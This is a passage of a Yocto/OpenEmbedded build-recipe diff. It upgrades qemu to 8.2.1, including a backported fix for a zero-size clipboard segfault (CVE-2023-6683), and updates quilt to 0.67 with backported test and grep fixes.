+passes), that clipboard info is passed to qemu_clipboard_request() and
+the original segfault still happens.
+
+Fix the issue by handling updates with size 0 differently. In
+particular, mark in the clipboard info that the type is not available.
+
+While at it, switch to g_memdup2(), because g_memdup() is deprecated.
+
+Cc: qemu-stable@nongnu.org
+Fixes: CVE-2023-6683
+Reported-by: Markus Frank <m.frank@proxmox.com>
+Suggested-by: Marc-André Lureau <marcandre.lureau@redhat.com>
+Signed-off-by: Fiona Ebner <f.ebner@proxmox.com>
+Reviewed-by: Marc-André Lureau <marcandre.lureau@redhat.com>
+Tested-by: Markus Frank <m.frank@proxmox.com>
+Message-ID: <20240124105749.204610-1-f.ebner@proxmox.com>
+
+CVE: CVE-2023-6683
+
+Upstream-Status: Backport [https://github.com/qemu/qemu/commit/405484b29f6548c7b86549b0f961b906337aa68a]
+Signed-off-by: Simone Weiß <simone.p.weiss@posteo.com>
+
+---
+ ui/clipboard.c | 12 +++++++++---
+ 1 file changed, 9 insertions(+), 3 deletions(-)
+
+diff --git a/ui/clipboard.c b/ui/clipboard.c
+index 3d14bffaf80f..b3f6fa3c9e1f 100644
+--- a/ui/clipboard.c
++++ b/ui/clipboard.c
+@@ -163,9 +163,15 @@ void qemu_clipboard_set_data(QemuClipboardPeer *peer,
+ }
+
+ g_free(info->types[type].data);
+- info->types[type].data = g_memdup(data, size);
+- info->types[type].size = size;
+- info->types[type].available = true;
++ if (size) {
++ info->types[type].data = g_memdup2(data, size);
++ info->types[type].size = size;
++ info->types[type].available = true;
++ } else {
++ info->types[type].data = NULL;
++ info->types[type].size = 0;
++ info->types[type].available = false;
++ }
+
+ if (update) {
+ qemu_clipboard_update(info);
diff --git a/meta/recipes-devtools/qemu/qemu/find_datadir.patch b/meta/recipes-devtools/qemu/qemu/find_datadir.patch
deleted file mode 100644
index 74e9ba56ce..0000000000
--- a/meta/recipes-devtools/qemu/qemu/find_datadir.patch
+++ /dev/null
@@ -1,37 +0,0 @@
-qemu: search for datadir as in version 4.2
-
-os_find_datadir() was changed after the 4.2 release. We need to check for
-../share/qemu relative to the executable because that is where the runqemu
-configuration assumes it will be.
-
-Upstream-Status: Submitted [qemu-devel@nongnu.org]
-
-Signed-off-by: Joe Slater <joe.slater@windriver.com>
-
-
---- a/os-posix.c
-+++ b/os-posix.c
-@@ -82,8 +82,9 @@ void os_setup_signal_handling(void)
-
- /*
- * Find a likely location for support files using the location of the binary.
-+ * Typically, this would be "$bindir/../share/qemu".
- * When running from the build tree this will be "$bindir/../pc-bios".
-- * Otherwise, this is CONFIG_QEMU_DATADIR.
-+ * Otherwise, this is CONFIG_QEMU_DATADIR as constructed by configure.
- */
- char *os_find_datadir(void)
- {
-@@ -93,6 +94,12 @@ char *os_find_datadir(void)
- exec_dir = qemu_get_exec_dir();
- g_return_val_if_fail(exec_dir != NULL, NULL);
-
-+ dir = g_build_filename(exec_dir, "..", "share", "qemu", NULL);
-+ if (g_file_test(dir, G_FILE_TEST_IS_DIR)) {
-+ return g_steal_pointer(&dir);
-+ }
-+ g_free(dir); /* no autofree this time */
-+
- dir = g_build_filename(exec_dir, "..", "pc-bios", NULL);
- if (g_file_test(dir, G_FILE_TEST_IS_DIR)) {
- return g_steal_pointer(&dir);
diff --git a/meta/recipes-devtools/qemu/qemu/fixedmeson.patch b/meta/recipes-devtools/qemu/qemu/fixedmeson.patch
new file mode 100644
index 0000000000..9047f66dc3
--- /dev/null
+++ b/meta/recipes-devtools/qemu/qemu/fixedmeson.patch
@@ -0,0 +1,20 @@
+Upstream-Status: Inappropriate [workaround, would need a real fix for upstream]
+
+Index: qemu-8.2.0/configure
+===================================================================
+--- qemu-8.2.0.orig/configure
++++ qemu-8.2.0/configure
+@@ -955,12 +955,7 @@ fi
+ $mkvenv ensuregroup --dir "${source_path}/python/wheels" \
+ ${source_path}/pythondeps.toml meson || exit 1
+
+-# At this point, we expect Meson to be installed and available.
+-# We expect mkvenv or pip to have created pyvenv/bin/meson for us.
+-# We ignore PATH completely here: we want to use the venv's Meson
+-# *exclusively*.
+-
+-meson="$(cd pyvenv/bin; pwd)/meson"
++meson=`which meson`
+
+ # Conditionally ensure Sphinx is installed.
+
diff --git a/meta/recipes-devtools/qemu/qemu/no-pip.patch b/meta/recipes-devtools/qemu/qemu/no-pip.patch
new file mode 100644
index 0000000000..92b2edbe9f
--- /dev/null
+++ b/meta/recipes-devtools/qemu/qemu/no-pip.patch
@@ -0,0 +1,45 @@
+qemu: Ensure pip and the python venv aren't used for meson
+
+Qemu wants to use a supported python version and a specific meson version
+to "help" users and uses pip and creates a venv to do this. This is a nightmare
+for us. Our versions stay up to date and should be supported so we don't
+really need/want this wrapping. Tweak things to disable it.
+
+There was breakage from the wrapper shown by:
+
+bitbake qemu-system-native
+<add DISTRO_FEATURES:remove = "opengl" to local.conf>
+bitbake qemu-system-native -c configure
+
+which would crash. The issue is the change in configuration removes pieces
+from the sysroot but pyc files remainm as do pieces of pip which causes
+problems.
+
+Ideally we'd convince upstream to allow some way to disable the venv on
+the understanding that if/when it breaks, we keep the pieces. The patch
+as it stands is a workaround.
+
+Upstream-Status: Inappropriate [oe specific]
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+Index: qemu-8.2.0/configure
+===================================================================
+--- qemu-8.2.0.orig/configure
++++ qemu-8.2.0/configure
+@@ -937,7 +937,7 @@ python="$(command -v "$python")"
+ echo "python determined to be '$python'"
+ echo "python version: $($python --version)"
+
+-python="$($python -B "${source_path}/python/scripts/mkvenv.py" create pyvenv)"
++python=python3
+ if test "$?" -ne 0 ; then
+ error_exit "python venv creation failed"
+ fi
+@@ -945,6 +945,7 @@ fi
+ # Suppress writing compiled files
+ python="$python -B"
+ mkvenv="$python ${source_path}/python/scripts/mkvenv.py"
++mkvenv=true
+
+ # Finish preparing the virtual environment using vendored .whl files
+
diff --git a/meta/recipes-devtools/qemu/qemu/qemu-guest-agent.init b/meta/recipes-devtools/qemu/qemu/qemu-guest-agent.init
new file mode 100644
index 0000000000..5ebaaddeae
--- /dev/null
+++ b/meta/recipes-devtools/qemu/qemu/qemu-guest-agent.init
@@ -0,0 +1,75 @@
+# SPDX-License-Identifier: GPL-2.0-only
+# Initially written by: Michael Tokarev <mjt@tls.msk.ru>
+# For QEMU Debian downstream package
+
+set -e
+
+. /etc/init.d/functions
+
+PATH=/sbin:/usr/sbin:/bin:/usr/bin
+DESC="QEMU Guest Agent"
+NAME=qemu-ga
+DAEMON=@bindir@/$NAME
+PIDFILE=/var/run/$NAME.pid
+
+# config
+DAEMON_ARGS=""
+# default transport
+TRANSPORT=virtio-serial:/dev/virtio-ports/org.qemu.guest_agent.0
+NO_START=0
+
+test ! -r /etc/default/qemu-guest-agent || . /etc/default/qemu-guest-agent
+test "$NO_START" = "0" || exit 0
+test -x "$DAEMON" || exit 0
+
+#
+# Function that checks whenever system has necessary environment
+# It also splits $TRANSPORT into $method and $path
+#
+do_check_transport() {
+ method=${TRANSPORT%%:*};
+ path=${TRANSPORT#*:}
+ case "$method" in
+ virtio-serial | isa-serial)
+ if [ ! -e "$path" ]; then
+ echo "$NAME: transport endpoint not found, not starting"
+ return 1
+ fi
+ ;;
+ esac
+}
+
+case "$1" in
+ start)
+ do_check_transport || exit 0
+ echo -n "Starting $DESC: "
+ start-stop-daemon -S -p $PIDFILE -x "$DAEMON" -- \
+ $DAEMON_ARGS -d -m "$method" -p "$path"
+ echo "$NAME."
+ ;;
+ stop)
+ echo -n "Stopping $DESC: "
+ start-stop-daemon -K -x "$DAEMON" -p $PIDFILE
+ echo "$NAME."
+ ;;
+ status)
+ status "$DAEMON"
+ exit $?
+ ;;
+ restart|force-reload)
+ do_check_transport || exit 0
+ echo -n "Restarting $DESC: "
+ start-stop-daemon -K -x "$DAEMON" -p $PIDFILE
+ sleep 1
+ start-stop-daemon -S -p $PIDFILE -x "$DAEMON" -- \
+ $DAEMON_ARGS -d -m "$method" -p "$path"
+ echo "$NAME."
+ ;;
+ *)
+ N=/etc/init.d/$NAME
+ echo "Usage: $N {start|stop|status|restart|force-reload}" >&2
+ exit 1
+ ;;
+esac
+
+exit 0
diff --git a/meta/recipes-devtools/qemu/qemu/qemu-guest-agent.udev b/meta/recipes-devtools/qemu/qemu/qemu-guest-agent.udev
new file mode 100644
index 0000000000..47097057e3
--- /dev/null
+++ b/meta/recipes-devtools/qemu/qemu/qemu-guest-agent.udev
@@ -0,0 +1,2 @@
+SUBSYSTEM=="virtio-ports", ATTR{name}=="org.qemu.guest_agent.0", \
+ TAG+="systemd", ENV{SYSTEMD_WANTS}="qemu-guest-agent.service"
diff --git a/meta/recipes-devtools/qemu/qemu/run-ptest b/meta/recipes-devtools/qemu/qemu/run-ptest
index b25a792d4f..f9a4e8fb2b 100644
--- a/meta/recipes-devtools/qemu/qemu/run-ptest
+++ b/meta/recipes-devtools/qemu/qemu/run-ptest
@@ -7,4 +7,7 @@ ptestdir=$(dirname "$(readlink -f "$0")")
export SRC_PATH=$ptestdir
cd $ptestdir/tests
-make -f Makefile.include -k runtest-TESTS | sed '/^ok /s/ok /PASS: /g'
+tests=$(find . -name "test-*" ! -name "*.p")
+for f in $tests; do
+ $f | sed '/^ok/ s/ok/PASS:/g'
+done
diff --git a/meta/recipes-devtools/qemu/qemu_5.0.0.bb b/meta/recipes-devtools/qemu/qemu_5.0.0.bb
deleted file mode 100644
index 9b09490269..0000000000
--- a/meta/recipes-devtools/qemu/qemu_5.0.0.bb
+++ /dev/null
@@ -1,33 +0,0 @@
-BBCLASSEXTEND = "nativesdk"
-
-require qemu.inc
-
-# error: a parameter list without types is only allowed in a function definition
-# void (*_function)(sigval_t);
-COMPATIBLE_HOST_libc-musl = 'null'
-
-DEPENDS = "glib-2.0 zlib pixman bison-native"
-
-RDEPENDS_${PN}_class-target += "bash"
-
-# Does not compile for -Og because that level does not clean up dead-code.
-# See lockable.h.
-#
-DEBUG_BUILD = "0"
-
-EXTRA_OECONF_append_class-target = " --target-list=${@get_qemu_target_list(d)}"
-EXTRA_OECONF_append_class-target_mipsarcho32 = "${@bb.utils.contains('BBEXTENDCURR', 'multilib', ' --disable-capstone', '', d)}"
-EXTRA_OECONF_append_class-nativesdk = " --target-list=${@get_qemu_target_list(d)}"
-
-do_install_append_class-nativesdk() {
- ${@bb.utils.contains('PACKAGECONFIG', 'gtk+', 'make_qemu_wrapper', '', d)}
-}
-
-PACKAGECONFIG ??= " \
- fdt sdl kvm \
- ${@bb.utils.filter('DISTRO_FEATURES', 'alsa xen', d)} \
- ${@bb.utils.contains('DISTRO_FEATURES', 'opengl', 'virglrenderer glx', '' ,d)} \
-"
-PACKAGECONFIG_class-nativesdk ??= "fdt sdl kvm \
- ${@bb.utils.contains('DISTRO_FEATURES', 'opengl', 'virglrenderer glx', '' ,d)} \
-"
diff --git a/meta/recipes-devtools/qemu/qemu_8.2.1.bb b/meta/recipes-devtools/qemu/qemu_8.2.1.bb
new file mode 100644
index 0000000000..dc1352232e
--- /dev/null
+++ b/meta/recipes-devtools/qemu/qemu_8.2.1.bb
@@ -0,0 +1,27 @@
+BBCLASSEXTEND = "nativesdk"
+
+require qemu.inc
+
+DEPENDS += "glib-2.0 zlib pixman"
+
+DEPENDS:append:libc-musl = " libucontext"
+
+CFLAGS += "${@bb.utils.contains('DISTRO_FEATURES', 'x11', '', '-DEGL_NO_X11=1', d)}"
+
+RDEPENDS:${PN}-common:class-target += "bash"
+
+EXTRA_OECONF:append:class-target = " --target-list=${@get_qemu_target_list(d)}"
+EXTRA_OECONF:append:class-target:mipsarcho32 = "${@bb.utils.contains('BBEXTENDCURR', 'multilib', ' --disable-capstone', '', d)}"
+EXTRA_OECONF:append:class-nativesdk = " --target-list=${@get_qemu_target_list(d)}"
+
+PACKAGECONFIG ??= " \
+ fdt sdl kvm pie slirp \
+ ${@bb.utils.filter('DISTRO_FEATURES', 'alsa pulseaudio xen', d)} \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'opengl', 'virglrenderer epoxy', '', d)} \
+ ${@bb.utils.filter('DISTRO_FEATURES', 'seccomp', d)} \
+"
+PACKAGECONFIG:class-nativesdk ??= "fdt sdl kvm pie slirp \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'opengl', 'virglrenderer epoxy', '', d)} \
+"
+# ppc32 hosts are no longer supported in qemu
+COMPATIBLE_HOST:powerpc = "null"
diff --git a/meta/recipes-devtools/qemu/qemuwrapper-cross_1.0.bb b/meta/recipes-devtools/qemu/qemuwrapper-cross_1.0.bb
index a0448a1803..97b44ad2e5 100644
--- a/meta/recipes-devtools/qemu/qemuwrapper-cross_1.0.bb
+++ b/meta/recipes-devtools/qemu/qemuwrapper-cross_1.0.bb
@@ -18,6 +18,7 @@ do_install () {
cat >> ${D}${bindir_crossscripts}/${MLPREFIX}qemuwrapper << EOF
#!/bin/sh
+# Wrapper script to run binaries under qemu user-mode emulation
set -x
if [ ${@bb.utils.contains('MACHINE_FEATURES', 'qemu-usermode', 'True', 'False', d)} = False -a "${PN}" != "nativesdk-qemuwrapper-cross" ]; then
diff --git a/meta/recipes-devtools/quilt/quilt-native_0.66.bb b/meta/recipes-devtools/quilt/quilt-native_0.67.bb
index 22374425fa..22374425fa 100644
--- a/meta/recipes-devtools/quilt/quilt-native_0.66.bb
+++ b/meta/recipes-devtools/quilt/quilt-native_0.67.bb
diff --git a/meta/recipes-devtools/quilt/quilt.inc b/meta/recipes-devtools/quilt/quilt.inc
index d6d06c049c..3374f4dfbf 100644
--- a/meta/recipes-devtools/quilt/quilt.inc
+++ b/meta/recipes-devtools/quilt/quilt.inc
@@ -4,46 +4,48 @@ track of the changes each patch makes. Patches can be applied, un-applied,\
refreshed, etc."
HOMEPAGE = "http://savannah.nongnu.org/projects/quilt/"
SECTION = "devel"
-LICENSE = "GPLv2"
+LICENSE = "GPL-2.0-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f"
SRC_URI = "${SAVANNAH_GNU_MIRROR}/quilt/quilt-${PV}.tar.gz \
file://run-ptest \
- file://Makefile \
file://test.sh \
file://0001-tests-Allow-different-output-from-mv.patch \
+ file://fix-grep-3.8.patch \
+ file://faildiff-order.patch \
+ file://0001-test-Fix-a-race-condition-in-merge.test.patch \
"
-SRC_URI_append_class-target = " file://gnu_patch_test_fix_target.patch"
+SRC_URI:append:class-target = " file://gnu_patch_test_fix_target.patch"
-SRC_URI[md5sum] = "6800c2404a2c0598ab2eff92a636ba70"
-SRC_URI[sha256sum] = "314b319a6feb13bf9d0f9ffa7ce6683b06919e734a41275087ea457cc9dc6e07"
+SRC_URI[sha256sum] = "3be3be0987e72a6c364678bb827e3e1fcc10322b56bc5f02b576698f55013cc2"
inherit autotools-brokensep ptest
-INHIBIT_AUTOTOOLS_DEPS_class-native = "1"
-PATCHTOOL_class-native = "patch"
+INHIBIT_AUTOTOOLS_DEPS:class-native = "1"
+PATCHTOOL:class-native = "patch"
CLEANBROKEN = "1"
-EXTRA_OECONF = "--with-perl='${USRBINPATH}/env perl' --with-patch=patch"
-EXTRA_OECONF_append_class-native = " --disable-nls"
+EXTRA_OECONF = "--with-perl='${USRBINPATH}/env perl' --with-patch=patch --without-sendmail"
+EXTRA_OECONF:append:class-native = " --disable-nls"
+
EXTRA_AUTORECONF += "--exclude=aclocal"
-CACHED_CONFIGUREVARS += "ac_cv_path_BASH=/bin/bash"
+CACHED_CONFIGUREVARS += "ac_cv_path_BASH=/bin/bash ac_cv_path_COLUMN=column"
# Make sure we don't have "-w" in shebang lines: it breaks using
# "/usr/bin/env perl" as parser
-do_configure_prepend () {
+do_configure:prepend () {
find ${S} -name "*.in" -exec sed -i -e "1s,^#\!.*@PERL@ -w$,#\! @PERL@\nuse warnings;," {} \;
}
# Don't setup symlinks to host utilities, we don't need them
-do_configure_append () {
+do_configure:append () {
sed -e 's,^COMPAT_SYMLINKS.*:=.*,COMPAT_SYMLINKS :=,' -i ${S}/Makefile
}
-do_configure_class-native () {
+do_configure:class-native () {
oe_runconf
}
@@ -54,39 +56,46 @@ do_install () {
rm -rf ${D}/${datadir}/emacs
}
-do_install_append_class-native () {
+do_install:append:class-native () {
# Dummy quiltrc file for patch.bbclass
install -d ${D}${sysconfdir}/
touch ${D}${sysconfdir}/quiltrc
}
-do_compile_ptest() {
- oe_runmake bin/patch-wrapper test/.depend
-}
+# The tests need to run as a non-root user, so pull in the ptest user
+DEPENDS:append:class-target = "${@bb.utils.contains('PTEST_ENABLED', '1', ' ptest-runner', '', d)}"
+PACKAGE_WRITE_DEPS += "ptest-runner"
do_install_ptest() {
- tar -c --exclude=\*.in bin/ | ( cd ${D}${PTEST_PATH} && tar -xf - )
- tar -c --exclude=\*.in compat/ | ( cd ${D}${PTEST_PATH} && tar -xf - )
- tar -c --exclude=\*.in quilt/ | ( cd ${D}${PTEST_PATH} && tar -xf - )
- tar -c --exclude=mail.test --exclude=delete.test test/ | ( cd ${D}${PTEST_PATH} && tar -xf - && chmod 777 test)
- cp ${WORKDIR}/Makefile ${D}${PTEST_PATH}
- cp ${WORKDIR}/test.sh ${D}${PTEST_PATH}
+ install ${WORKDIR}/test.sh ${D}${PTEST_PATH}
+ mkdir ${D}${PTEST_PATH}/test
+ install ${S}/test/* ${D}${PTEST_PATH}/test
+ # mail needs a MTA, and the patch-wrapper is disabled
+ rm -f ${D}${PTEST_PATH}/test/mail.test ${D}${PTEST_PATH}/test/patch-wrapper.test
+}
+
+# ptest.bbclass currently chowns the ptest directory explicitly, so we need to
+# change permission after that has happened so the ptest user can write a
+# temporary directory.
+do_install_ptest_base:append() {
+ chgrp ptest ${D}${PTEST_PATH}/test
+ chmod g+w ${D}${PTEST_PATH}/test
}
PACKAGES += "guards guards-doc"
-FILES_${PN} = "${sysconfdir} ${datadir}/quilt \
+FILES:${PN} = "${sysconfdir} ${datadir}/quilt \
${bindir}/quilt ${libdir}/quilt"
-FILES_guards = "${bindir}/guards"
-FILES_${PN}-doc = "${mandir}/man1/quilt.1 ${docdir}/${BPN}"
-FILES_guards-doc = "${mandir}/man1/guards.1"
-
-RDEPENDS_${PN} = "bash patch diffstat bzip2 util-linux less"
-RDEPENDS_${PN}_class-native = "diffstat-native patch-native bzip2-native"
-
-RDEPENDS_${PN}-ptest = "make file sed gawk diffutils findutils ed perl \
- perl-module-filehandle perl-module-getopt-std \
- perl-module-posix perl-module-file-temp \
- perl-module-text-parsewords perl-module-overloading \
- bash util-linux-getopt patch \
- "
+FILES:guards = "${bindir}/guards"
+FILES:${PN}-doc = "${mandir}/man1/quilt.1 ${docdir}/${BPN}"
+FILES:guards-doc = "${mandir}/man1/guards.1"
+
+RDEPENDS:${PN} = "bash patch diffstat bzip2 util-linux less"
+RDEPENDS:${PN}:class-native = "diffstat-native patch-native bzip2-native"
+
+RDEPENDS:${PN}-ptest += "file sed gawk diffutils findutils ed perl \
+ perl-module-filehandle perl-module-getopt-std \
+ perl-module-posix perl-module-file-temp \
+ perl-module-text-parsewords perl-module-overloading \
+ bash util-linux-getopt ptest-runner \
+ "
diff --git a/meta/recipes-devtools/quilt/quilt/0001-test-Fix-a-race-condition-in-merge.test.patch b/meta/recipes-devtools/quilt/quilt/0001-test-Fix-a-race-condition-in-merge.test.patch
new file mode 100644
index 0000000000..01d4c8befc
--- /dev/null
+++ b/meta/recipes-devtools/quilt/quilt/0001-test-Fix-a-race-condition-in-merge.test.patch
@@ -0,0 +1,48 @@
+From c1ce964f3e9312100a60f03c1e1fdd601e1911f2 Mon Sep 17 00:00:00 2001
+From: =?UTF-8?q?=C4=90o=C3=A0n=20Tr=E1=BA=A7n=20C=C3=B4ng=20Danh?=
+ <congdanhqx@gmail.com>
+Date: Tue, 28 Feb 2023 18:45:15 +0100
+Subject: [PATCH] test: Fix a race condition in merge.test
+MIME-Version: 1.0
+Content-Type: text/plain; charset=UTF-8
+Content-Transfer-Encoding: 8bit
+
+Just like commit 4dfe7f9, (test: Fix a race condition, 2023-01-20),
+this fix a test race when stdout and stderr in any order.
+
+Upstream-Status: Backport [https://git.savannah.nongnu.org/cgit/quilt.git/commit/?id=c1ce964f3e9312100a60f03c1e1fdd601e1911f2]
+Signed-off-by: Đoàn Trần Công Danh <congdanhqx@gmail.com>
+Signed-off-by: Jean Delvare <jdelvare@suse.de>
+---
+ test/merge.test | 6 ++++--
+ 1 file changed, 4 insertions(+), 2 deletions(-)
+
+diff --git a/test/merge.test b/test/merge.test
+index c64b33d..2e67d4f 100644
+--- a/test/merge.test
++++ b/test/merge.test
+@@ -39,8 +39,9 @@ Test the patch merging functionality of `quilt diff'.
+ > Applying patch %{P}c.diff
+ > Now at patch %{P}c.diff
+
+- $ quilt diff -P b.diff | grep -v "^\\(---\\|+++\\)"
++ $ quilt diff -P b.diff >/dev/null
+ > Warning: more recent patches modify files in patch %{P}b.diff
++ $ quilt diff -P b.diff 2>/dev/null | grep -v "^\\(---\\|+++\\)"
+ >~ Index: [^/]+/abc\.txt
+ > ===================================================================
+ > @@ -1,3 +1,3 @@
+@@ -49,8 +50,9 @@ Test the patch merging functionality of `quilt diff'.
+ > +b+
+ > c
+
+- $ quilt diff --combine a.diff -P b.diff | grep -v "^\\(---\\|+++\\)"
++ $ quilt diff --combine a.diff -P b.diff >/dev/null
+ > Warning: more recent patches modify files in patch %{P}b.diff
++ $ quilt diff --combine a.diff -P b.diff 2>/dev/null | grep -v "^\\(---\\|+++\\)"
+ >~ Index: [^/]+/abc\.txt
+ > ===================================================================
+ > @@ -1,3 +1,3 @@
+--
+2.40.0
+
diff --git a/meta/recipes-devtools/quilt/quilt/Makefile b/meta/recipes-devtools/quilt/quilt/Makefile
deleted file mode 100644
index 1f6cd2479c..0000000000
--- a/meta/recipes-devtools/quilt/quilt/Makefile
+++ /dev/null
@@ -1,14 +0,0 @@
-PATH := $(CURDIR)/bin:$(CURDIR)/compat:$(PATH)
-QUILT_DIR := $(CURDIR)/quilt
-QUILTRC := $(CURDIR)/test/test.quiltrc
-export QUILT_DIR QUILTRC
-CHECK_ENV := P=patches/; _P=../patches/; export P _P;
-CHECK_ENV += QUILT_PC=.pc; export QUILT_PC
--include test/.depend
-
-check-% : test/%.test
- @LANG=C; LC_ALL=C; \
- export LANG LC_ALL; \
- $(CHECK_ENV); \
- cd $(<D); \
- ./run -q $(<F)
diff --git a/meta/recipes-devtools/quilt/quilt/faildiff-order.patch b/meta/recipes-devtools/quilt/quilt/faildiff-order.patch
new file mode 100644
index 0000000000..f22065a250
--- /dev/null
+++ b/meta/recipes-devtools/quilt/quilt/faildiff-order.patch
@@ -0,0 +1,41 @@
+Upstream-Status: Backport
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+
+From 4dfe7f9e702c85243a71e4de267a13e434b6d6c2 Mon Sep 17 00:00:00 2001
+From: Jean Delvare <jdelvare@suse.de>
+Date: Fri, 20 Jan 2023 12:56:08 +0100
+Subject: [PATCH] test: Fix a race condition
+
+The test suite does not differentiate between stdout and stderr. When
+messages are printed to both, the order in which they will reach us
+is apparently not guaranteed. Ideally this would be deterministic, but
+until then, explicitly test stdout and stderr separately in the test
+case itself. Otherwise the test suite fails randomly, which is a pain
+for distribution package maintainers.
+
+This fixes bug #63651 reported by Ross Burton:
+https://savannah.nongnu.org/bugs/index.php?63651
+
+Signed-off-by: Jean Delvare <jdelvare@suse.de>
+---
+ test/faildiff.test | 3 ++-
+ 1 file changed, 2 insertions(+), 1 deletion(-)
+
+diff --git a/test/faildiff.test b/test/faildiff.test
+index 5afb8e3..0444c15 100644
+--- a/test/faildiff.test
++++ b/test/faildiff.test
+@@ -27,8 +27,9 @@ What happens on binary files?
+ > File test.bin added to patch %{P}test.diff
+
+ $ printf "\\003\\000\\001" > test.bin
+- $ quilt diff -pab --no-index
++ $ quilt diff -pab --no-index 2>/dev/null
+ >~ (Files|Binary files) a/test\.bin and b/test\.bin differ
++ $ quilt diff -pab --no-index >/dev/null
+ > Diff failed on file 'test.bin', aborting
+ $ echo %{?}
+ > 1
+--
+2.34.1
+
diff --git a/meta/recipes-devtools/quilt/quilt/fix-grep-3.8.patch b/meta/recipes-devtools/quilt/quilt/fix-grep-3.8.patch
new file mode 100644
index 0000000000..68a4b4c195
--- /dev/null
+++ b/meta/recipes-devtools/quilt/quilt/fix-grep-3.8.patch
@@ -0,0 +1,144 @@
+From f73f8d7f71de2878d3f92881a5fcb8eafd78cb5f Mon Sep 17 00:00:00 2001
+From: Jean Delvare <jdelvare@suse.de>
+Date: Fri, 9 Sep 2022 10:10:37 +0200
+Subject: Avoid warnings with grep 3.8
+
+GNU grep version 3.8 became more strict about needless quoting in
+patterns. We have one occurrence of that in quilt, where "/"
+characters are being quoted by default. There are cases where they
+indeed need to be quoted (typically when used in a sed s/// command)
+but most of the time they do not, and this results in the following
+warning:
+
+grep: warning: stray \ before /
+
+So rename quote_bre() to quote_sed_re(), and introduce
+quote_grep_re() which does not quote "/".
+
+Signed-off-by: Jean Delvare <jdelvare@suse.de>
+Upstream-Status: Backport [https://git.savannah.nongnu.org/cgit/quilt.git/commit/?id=f73f8d7f71de2878d3f92881a5fcb8eafd78cb5f]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ quilt/diff.in | 2 +-
+ quilt/patches.in | 2 +-
+ quilt/scripts/patchfns.in | 20 +++++++++++++-------
+ quilt/upgrade.in | 4 ++--
+ 4 files changed, 17 insertions(+), 11 deletions(-)
+
+diff --git a/quilt/diff.in b/quilt/diff.in
+index e90dc33..07788ff 100644
+--- a/quilt/diff.in
++++ b/quilt/diff.in
+@@ -255,7 +255,7 @@ then
+ # Add all files in the snapshot into the file list (they may all
+ # have changed).
+ files=( $(find $QUILT_PC/$snap_subdir -type f \
+- | sed -e "s/^$(quote_bre $QUILT_PC/$snap_subdir/)//" \
++ | sed -e "s/^$(quote_sed_re $QUILT_PC/$snap_subdir/)//" \
+ | sort) )
+ printf "%s\n" "${files[@]}" >&4
+ unset files
+diff --git a/quilt/patches.in b/quilt/patches.in
+index bb17a46..eac45a9 100644
+--- a/quilt/patches.in
++++ b/quilt/patches.in
+@@ -60,7 +60,7 @@ scan_unapplied()
+ # Quote each file name only once
+ for file in "${opt_files[@]}"
+ do
+- files_bre[${#files_bre[@]}]=$(quote_bre "$file")
++ files_bre[${#files_bre[@]}]=$(quote_grep_re "$file")
+ done
+
+ # "Or" all files in a single pattern
+diff --git a/quilt/scripts/patchfns.in b/quilt/scripts/patchfns.in
+index c2d5f9d..1bd7233 100644
+--- a/quilt/scripts/patchfns.in
++++ b/quilt/scripts/patchfns.in
+@@ -78,8 +78,14 @@ array_join()
+ done
+ }
+
+-# Quote a string for use in a basic regular expression.
+-quote_bre()
++# Quote a string for use in a regular expression for a grep pattern.
++quote_grep_re()
++{
++ echo "$1" | sed -e 's:\([][^$.*\\]\):\\\1:g'
++}
++
++# Quote a string for use in a regular expression for a sed s/// command.
++quote_sed_re()
+ {
+ echo "$1" | sed -e 's:\([][^$/.*\\]\):\\\1:g'
+ }
+@@ -215,7 +221,7 @@ patch_in_series()
+
+ if [ -e "$SERIES" ]
+ then
+- grep -q "^$(quote_bre $patch)\([ \t]\|$\)" "$SERIES"
++ grep -q "^$(quote_grep_re $patch)\([ \t]\|$\)" "$SERIES"
+ else
+ return 1
+ fi
+@@ -365,7 +371,7 @@ is_applied()
+ {
+ local patch=$1
+ [ -e $DB ] || return 1
+- grep -q "^$(quote_bre $patch)\$" $DB
++ grep -q "^$(quote_grep_re $patch)\$" $DB
+ }
+
+ applied_patches()
+@@ -465,7 +471,7 @@ remove_from_db()
+ local tmpfile
+ if tmpfile=$(gen_tempfile)
+ then
+- grep -v "^$(quote_bre $patch)\$" $DB > $tmpfile
++ grep -v "^$(quote_grep_re $patch)\$" $DB > $tmpfile
+ cat $tmpfile > $DB
+ rm -f $tmpfile
+ [ -s $DB ] || rm -f $DB
+@@ -520,7 +526,7 @@ find_patch()
+ fi
+
+ local patch=${1#$SUBDIR_DOWN$QUILT_PATCHES/}
+- local bre=$(quote_bre "$patch")
++ local bre=$(quote_sed_re "$patch")
+ set -- $(sed -e "/^$bre\(\|\.patch\|\.diff\?\)\(\|\.gz\|\.bz2\|\.xz\|\.lzma\|\.lz\)\([ "$'\t'"]\|$\)/!d" \
+ -e 's/[ '$'\t''].*//' "$SERIES")
+ if [ $# -eq 1 ]
+@@ -631,7 +637,7 @@ files_in_patch()
+ then
+ find "$path" -type f \
+ -a ! -path "$(quote_glob "$path")/.timestamp" |
+- sed -e "s/$(quote_bre "$path")\///"
++ sed -e "s/$(quote_sed_re "$path")\///"
+ fi
+ }
+
+diff --git a/quilt/upgrade.in b/quilt/upgrade.in
+index dbf7d05..866aa33 100644
+--- a/quilt/upgrade.in
++++ b/quilt/upgrade.in
+@@ -74,7 +74,7 @@ printf $"Converting meta-data to version %s\n" "$DB_VERSION"
+
+ for patch in $(applied_patches)
+ do
+- proper_name="$(grep "^$(quote_bre $patch)"'\(\|\.patch\|\.diff?\)\(\|\.gz\|\.bz2\)\([ \t]\|$\)' $SERIES)"
++ proper_name="$(grep "^$(quote_grep_re $patch)"'\(\|\.patch\|\.diff?\)\(\|\.gz\|\.bz2\)\([ \t]\|$\)' $SERIES)"
+ proper_name=${proper_name#$QUILT_PATCHES/}
+ proper_name=${proper_name%% *}
+ if [ -z "$proper_name" ]
+@@ -84,7 +84,7 @@ do
+ fi
+
+ if [ "$patch" != "$proper_name" -a -d $QUILT_PC/$patch ] \
+- && grep -q "^$(quote_bre $patch)\$" \
++ && grep -q "^$(quote_grep_re $patch)\$" \
+ $QUILT_PC/applied-patches
+ then
+ mv $QUILT_PC/$patch $QUILT_PC/$proper_name \
+--
+cgit v1.1
+
